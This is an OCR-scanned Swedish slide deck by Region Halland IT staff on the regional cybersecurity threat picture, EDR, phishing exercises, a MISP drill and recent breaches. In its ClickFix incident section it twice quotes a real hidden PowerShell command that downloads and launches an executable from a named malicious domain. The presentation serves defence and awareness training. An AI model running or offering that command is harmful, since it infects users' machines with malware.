Digital kraftsamling Halland

Informations- och cybersakerhet —
vad skyddar vi oss egentligen emot?

\? Region Halland



Vi som presenterar:

R Y/ -\
Anders Boustedt Fredrik Gustavsson, Johan Hortling Felicia Svantesson
Verksamhetschef IT och digitalisering Avdelningschef Informationsteknologi, Systemtekniker, Region Halland. Systemtekniker, Region Halland.
Region Halland. Region Halland.
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Cybersakerhet — mer
aktuellt an nagonsin

e Skiftat fokus mot underrattelseinhamtning

e Aktorer gar mer mot att anvanda sig av
kommersiella verktyg for att ta sig in —
Teamviewer, AnyDesk, m.fl.

e En grupp som utsatts och attackeras
flitigare ar (mjukvaru-) utvecklare som ofta
har hoga behorigheter

e Med SaaS-tjanster, molnlagring,
integrationer, m.m. suddas granserna ut for
vad som finns vart

Halland — Basta livsplatsen

[
0
0
1
0
1

o

11000y
1010 033NN

10478

0000




Oron for cyberkrigforing okar
dramatiskt

e Cyberkrigforing kan numera betraktas som
konstant tillstand

e Angripare slar till extremt snabbt

e Organisationer forsoker forsvara sig med
strukturer byggda for ett helt annat
hotlandskap

e Fientliga aktorers anvandning av Al okar
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Myndigheten for Civilt forsvar

L FINANCIAL TIMES

Nyheter i omvarilden

Dronarangrepp paverkar foretaget Amazons molntjanster

Den 2 mars meddelade foretaget Amazon att deras datacenter i Bahrain har utsatts for ett
dronarangrepp som orsakat skador pd infrastrukturen och stérningar i dess elforsdrjning. Enligt
foretaget har angreppen pdverkat tillgéngligheten for vissa molntjénster. Amazon meddelar att
aterh@mtningen kommer att ta I&dng tid och rekommenderar deras kunder att sGkerhetskopiera
all kritiska data till en annan AWS region. (2026-03-02). Du kan IGsa mer har.

Dataintrang mot amerikanska Ericsson nu utrett

Amerikanska Ericsson Inc. drabbades av ett dataintrédng efter ett angrepp mot en av deras
tiansteleverantorer i april 2025. | utredningen som fardigstalldes under februari 2026 uppger
foretaget att data tillhérande 6ver 15 000 anstdllda och kunder hade stulits i samband med Middie Eastwar (+ AddwomeT)

intrdnget. | nuldget har den angripna tjdnsteleverantdren annu inte hittat bevis p& att den Iran hits Amazon data centres in jolt

stulna datan har missbrukats. (2026-03-09). Du kan |Gsa mer har. to Gulf Al drive
First known military strike on a US hyperscaler rattles regional ambitions to build

Amerikansk leverantor av medicinteknik drabbad av cyberangrepp Forfipomn sy ko oo
Den 11 mars utsattes det medicintekniska foretaget Stryker for ett cyberangrepp som lett fill
storningar i deras arbete. Exempelvis har anstélldas enheter rensats pd information och
jobbtelefoner slutat att fungera. Angreppet tvingade féretaget att avbryta delar av sin
verksamhet i 79 I&nder. Stryker meddelar att det fér nérvarande inte finns nadgra tecken pd
skadlig kod och att de tror att hdndelsen bara pdverkat deras interna it-miljé. (2026-03-11). Du
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Myndigheten for Civilt forsvar

Nyheter i Sverige

Region Varmland drabbad av ndatfiskeangrepp

Region Varmland har utsatts for ett natfiskeangrepp under perioden oktober 2025 till februari
2026, ddr angriparen har fatt tillgdng fill ett stérre antal av medarbetarnas e-post-konton.
Angreppet har anmalts som en personuppgiftsincident till Integritetsskyddsmyndigheten som
utreder incidenten. Regionens digitaliserings- och it-direktdr meddelar att Regionen utsatts for
natfiskeangrepp regelbundet och att angreppen har blivit allt mer avancerade. (2026-03-095).
Du kan Iasa mer har.

It-féretaget CGI utsatt fér dataintrang

Den 12 mars drabbades féretaget CGl, som hanterar digitala tjdnster &t vissa svenska
myndigheter, av ett dataintréing. Enligt CGl finn inga indikationer p& att produktionsmiljder,
produktionsdata eller operativa tjdnster hos kunder ér pdverkade av intfrdnget. Skatteverket,
som anvander foretagets tjdnster, uppger att varken deras eller anvandares data har lackt.
Uppgifterna om att kdllkod skulle ha ldckt frdn en myndighetsgemensam e-plattform stGmmer
intfe enligt Skatteverkets it-direktor. Sveriges nationella CSIRT, CERT-SE arbetar med drendet och
bevakar hdndelsen enligt ordinarie rutiner. Som foljd av dataintrénget har Myndigheten for
civilt forsvar tillfalligt stangt ned sin e-tjdnsteportalen som en sdkerhetsdtgdrd medan man
kartldgger vika egna fjanster som eventuellt kan vara drabbade efter incidenten. (2026-03-12).
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Vart mandat: Cyberresiliens, inte forebyggande

Forebyggande Cyberresiliens

Pengar
\ |dentifiera Styrning

Process

Aterstélla Skydda

Forhindra
Incidenter
Personer
'_/ Svara Upptacka
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Vart mandat: Cyberresiliens, inte forebyggande

Forebyggande Cyberresiliens

Mandat
WV EGTEL Minimera
Forebygga cyberincidenter. verksamhetspaverkan av
cyberincidenter.
Tankesatt Tankesatt
Incidenter speglar ett Incidenter kommer att
Cybersakerhetsmisslyckande. intraffa, sa vi maste forbereda

oss - inte forebygga.
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. Recommendations

Cyberresilienta verksamhetsprocesser =

Cyber Resilience

Single point of failure. SaaS solution provided Rely on three delivery Warehouses each Consumer app offered Total _
Directly impacts by a third-party supplier. companies. Separate implement and manage across iOS and Android. Cybersecurity
customers’ ability to No direct ownership over integrations with each an on-prem WMS Fully integrated with our Budget
transact. service. using APIs. solution inventory back-end. $YM
Robust backup and Data encryption and APl now hardened Pen tests conducted App update cadence

restoration program MFA now implemented. against improper input on 90% of warehouses. increased to address Estimated
now in place. Vendor fully compliant validation. Upgrade suggested to vulnerabilities faster. gost of |
Implementing an with our requirements. Upgraded continuity address known Improve package roposa’s
alternatitve, btackup Manage local backups plan refclomr?zn?_ed in vulnerabilities. trac:ing ttc;] r;educe $YK
paymen 53&5 gm for manual order cafe ot local defivery Update software package theft.

recommended. tracking. outages. (current EOL).

Technology Dependencies

» Point of Sale (POS) » Order management » OMS integration with » Warehouse » Customer application Projected
endpoints system (OMS) third-party shipper management system Annual
Revenue
Payment Order Truck Package Package $XM
Made Received Dispatched Pickup Delivered

RESTRICTED DISTRIBUTION

10 ©2026 Gartner, Inc. and/or its affiliates. All rights reserved.

Profit Center: eCommerce

Gartner




Hur jobbar vi praktiskt
for att motverka ﬁ
sakerhetsrisker?




Runt bordet

e Kort presentation, vem ar jag, organisation, roll

Hur gor ni — ge forslag pa det goda exemplet
fran min organisation
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EDR

som formaga
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EDR

* Endpoint Detection and Response

* Traditionellt antivirus

« Signaturbaserat
« Enkelt att kringga

- EDR
Signaturer
Svarare att kringga
Logganalys och dynamik
Battre dverblick, sparbarhet
Automatiska handelser
Incidentarenden
Kraver engagemang
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War story

ClickFix — Real world attack
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Incident fran hackad webbsida

An active "ClickFix' malware in a command line was prevented from exec... Manage incident [ Run playbook

EEE Medium | Active | _ ‘

Attack story  Alerts (1)  Assets (2) Investigations (1)  Evidence and Response (1)  Summary

Alerts Incident graph Layout *~ ® Group similar nodes

Play attack story
Incident details
. 6 May 20251322 ® New
An active "ClickFix' malware in a
d line was pr d from
executing

= o

Assigned to Incident ID

@ Classification Categories

Not set Malware

First activity Last activity
6 May 2025 13:2209 6 May 2025 13:22:09

Workspaces

@ Incident description

Malware and unwanted software are
undesirable applications that perform
annoying, disruptive, or harmful actions on
affected machines. Some of these undesirable
applications can replicate and spread f...

Explorer.EXE

13:21:52 Defender prevented execution of Trojan:Win32/ClickFi.51" in command line "C:\Windows\System32\... = Malware

Is runtime packed False

Process command C\Windows\System32\cmd.exe C\WINDOWS\system32\cmd.exe fc start /min powershell -NoProfile -
line WindowStyle Hidden -Command $path="c\\users\\public\\s6579.exe" Invoke-RestMethod -Uri
"hitps://committee543.design/files00953/5_co3gn' -OutFile $path; Start-Process $path;

Threat name Trojan:Win32/ClickFi.SI
Remediation action remove

Remediation action Success
result

Remediation time 6 May 2025 13:21:52

Halland — Basta livsplatsen
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Vi forsokte aterskapa larmet

* Hackad webbshop

» Leverantor till Region

— support- och £
serviceleverantor i ! : Halland

och SRR - Spred skadlig kod
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1 Verifiera att du ar en manniska. Ser ut som
Cloudflares verifiering.

En ny ruta visas for att ytterligare Gvertyga *0 Prnse o wivtows Betander o2 o R
anvandaren om att verifiera sig som Gk Hhe STacit: dutton (o start
manniska.

Press the key combination
Prvacy

e Verifieringen ska ga till genom att nyttja
m " “ = -+ ' tt"mms'- 3 kortkommandon pa tangentbordet
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Automatiskt placerat i urklipp (motsvarande
CTRL+C)

*Untitled Document 1 Save - + '

Open - |+
1cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\\usersh\public“\i3525.exe'; Invoke-RestMethod -Uri
'https://committee543.design/files00953/5_co3gn' -OutFile $path; Start-Process $path;

' Reanalyze Q, Search More ~

http:/fcommittee543.design/
committee543.design

text/html 11 days ago

text/html external-resources

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an AP key to automate checks.
Security vendors' analysis () Do you want to automate checks?

Kaspersky Seclookup

alphaMountain.ai Fortinet
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Hur hanterade vi detta?

* Vi kunde se i enhetens tisdlinje
att anvandaren hade natt domanen via ett e-
mail

e+ Den har webbplatsen ar blockerad av
din organisation.
Tillhandahalls av

« Det var en legitim sida som anvandes inom
regionen for inkop av vissa produkter som
hade blivit hijackad
Kontakta administratéren om du vill ha mer information. Besok

supportsidan. - Sajten blockerad tillfalligt av IT-sakerhet

i « Kontakt med ansvariga bakom sajten for att
informera — de visste ingenting

Microsoft-sdkerhet

« Efter nagra veckor kunde vi verifiera att
sarbarheten var borta fran sajten

« Blockeringen kunde plockas bort
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Runt bordet

Hur verifierar ni inkommande hot eller
incidenter?
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Ovningar och
utbildningar

Ova for att leverera — kompetens som halls levande
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Utbildningar och ovningar

e Phishingovning
e MISP

e Intern incidentdvning
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Phishingovning nr 3

Okand och ny avsandare. Ingen info om
vem som har delat.

En fil har delats med dig

; ; Svara 5 Svaraalla — Vidarebefordra | H |-"|
@ no-reply <admin@reginetse> | © © J .G. -

Till - o ons 2025-12-10 13:15

@ Dien hir avsdndaren admin@reginet.se dr fran utanfdr organisationen.

/vEtt dokument "Korrigerad semesterplanering jul 2025.x1sx" har delats med dig och ar klar for nedladdning.

Varning om extern Klicka pa lanken for att logga in och hamta dokumentet:

avsandare For att se dokumentet pa ratt satt, klicka pa lanken ovan och f6l] stegen. Utformad for att

skapa intresse,
nyfikenhet eller
— "sense of urgency’
vilket ar modus for
“riktiga”
phishingmail
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Phishingstatistik (%)
20%

18%
16%
14%

12%
Antal klick
10%

Fyllde i falskt
8% inloggnings-formular

6%
5%
4%
4%
2%

0%
Utskick 1 Utskick 2 Utskick 3 (Prel)
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| utskick 2 & 3 blev du aven ombedd att fylla i dina
uppgifter i ett falskt inloggningsformular

Ifylinad i detta formularet ar sarskilt
problematiskt och kommer bli ett
Sign in with your e-mail account aterkommande inslag i framtida
phishingovningar.

Vid ett skarpt phishingmail hade
detta inneburit att en hotaktor hade
fatt inloggningsuppgifter till var IT-
miljo.

Powered by infotechteams.com
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Antal rapporterade

e Utskick 1:
e Outlook: 1023 st

e Arendehanteringssystem: ca 70 st
Arkiv  Start Skickaochtaemot Mapp Visa Hjalp

Nt % B i = @ | ) Svara
® UtSk|Ck 2 Ny e- Nya % v~ Ta  Arkivera | (et %) Svara alla
[ OUthOk 1095 St post objekt v bort ” — Vidarebefordra
. . Nytt Ta bort [ 1 rtera natfi
e Arendehanteringssystem: ca 100 st O Rapportera ntfiske
¢ ) Rapport skrappost

e Utskick 3
e QOutlook: ca 1000 st

e Arendehanteringssystemarenden: ca
30 st
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Faktura

Real world scenario ¢
Phishingmail

Hej,

Du har fitt leverantdrsfakturor att hantera med dig

* Flera fall av massutskick av phishing-
mejl riktade mot regioner, kommuner,

skolor och myndigheter Ost
* Innehaller oftast en lank till Sharepoint, Fa\sk e—p
Onedrive eller liknande delningstjanster ' ‘
« Eftersom dessa delningssidor ar legitima ! 4

sa flaggas det oftast inte av antivirus-
program direkt

e Flera fall av natfiske - 0ka vaksamheten >
- CERT-SE e D ey

BesOksadress:
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https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html
https://www.cert.se/2025/04/cert-se-varnar-for-flera-fall-av-phishing.html

. BLUE TEAM 'RED TEAM
Ovning MISP o e |

Malware Information Sharing Platform

Genomforde en 2-dagars ovning i
samarbete med MCF i Linkoping

Blue team-6vning som gick ut pa att
upptacka tecken pa intrang

== Intrusion

Dela information om IOC:er med andra ' Do '_ :
lag via MISP s

Flera andra regioner och kommuner
medverkade ocksa vid ovningstillfallet
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Inplanerad incidentovning

e Planerad kommande incidentovning \ ACCES —wm——————————=== | DATALOCKED'

inmnsn - | 4| o

e Test av rutiner och atgarder for att , - Ny . . 1
verifiera IT-funktionalitet samt = P SR SPORILD Ik,
krisledningsformaga - g mtrnom s 1

o . e / | s W ‘ |j s
e Deltagare fran flera olika team == /] g

YOUR FILES ARE ENCRYPTED!
PAY THE RANSOM TO DECRYPT!

e Foljs upp med utvéardering 4 i “TIME LEFT: 23:47:12 [—1 T
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Runt bordet

Hur hanterar ni phishing?
Ovar ni?
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CGl

Dataintrang
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CGi

e CGI bekraftade ett dataintrang den 13
mars 2026, dar obehoriga fatt atkomst
till interna system.

e Utredning kring omfattning och vilka
data som kan ha exponerats pagar.

e "Endast testmiljo”

e Kallkod, [6senord och signerade
dokument

e Vi har sparrat konsultkonton
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Tankvart — uppsattning av system

e Anvand aldrig standardkonfiguration vid uppsattning av system eller applikation
e Tank pa behdrigheterna i ett storre sammanhang

e Underliggande systemanvandare

e Losenord och anvandarnamn

e Vad har mitt system atkomst till och hur?
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Runt bordet

Var ni drabbade?

Har ni en forteckning over vilka system ni
har fran olika leverantorer?

Har ni en plan for att hantera sadana har
incidenter?
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Cybersakerhet ar en lagsport

e Teknisk skuld

e Process for plastring

e Omvarlden har forandrats
e Sakerhetskultur

e Man blir aldrig Klar...
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